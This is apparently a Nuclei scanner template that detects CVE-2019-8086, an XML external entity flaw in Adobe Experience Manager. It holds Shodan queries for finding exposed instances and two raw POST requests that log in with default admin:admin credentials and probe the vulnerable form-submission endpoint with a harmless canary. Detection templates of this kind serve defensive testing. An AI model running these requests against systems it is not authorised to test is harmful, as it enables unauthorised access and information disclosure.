id: CVE-2019-8086

info:
  name: Adobe Experience Manager XXE
  author: DhiyaneshDk
  severity: high
  description: Adobe Experience Manager versions 6.5, 6.4, 6.3 and 6.2 have a xml external entity injection vulnerability. Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://speakerdeck.com/0ang3el/a-hackers-perspective-on-aem-applications-security?slide=13
    - https://github.com/0ang3el/aem-hacker/blob/master/aem_hacker.py
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8086
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2019-8086
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8086
    cwe-id: CWE-611
  metadata:
    shodan-query:
      - http.title:"AEM Sign In"
      - http.component:"Adobe Experience Manager"
  tags: cve,cve2019,aem,adobe

requests:
  - raw:
      - |
        POST /content/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46YWRtaW4=
        Referer: {{BaseURL}}

        sling:resourceType=fd/af/components/guideContainer

      - |
        POST /content/{{randstr}}.af.internalsubmit.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46YWRtaW4=
        Referer: {{BaseURL}}

        guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<afData>\u0041\u0042\u0043</afData>"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<afData>ABC<afBoundData/>'

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200